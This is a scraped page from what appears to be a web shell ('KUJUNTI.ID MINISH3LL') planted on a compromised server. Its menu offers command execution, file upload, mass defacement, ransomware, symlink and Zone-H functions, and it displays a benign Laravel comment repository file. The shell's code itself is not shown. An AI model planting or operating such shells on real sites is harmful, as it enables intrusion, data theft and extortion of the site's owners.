KUJUNTI.ID MINISH3LL
Path : /var/www/clients/client0/web25/web/app/Repositories/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/clients/client0/web25/web/app/Repositories/CommentRepository.php


<?php
namespace App\Repositories;

use App\Models\Post;

class CommentRepository
{
    public function findCommentsByPostSlug($slug){
        $post = Post::where('slug', $slug)->get();
        $post = Post::withCount('validComments')->findOrFail($post->first()->id);
        $comments = $post->validComments()
            ->withDepth()
            ->latest()
            ->get()
            ->toTree();
        return $comments;
     }
}

© KUJUNTI.ID

Website Feedback Form

Please fill out the form below to send us your feedback.




Contact Support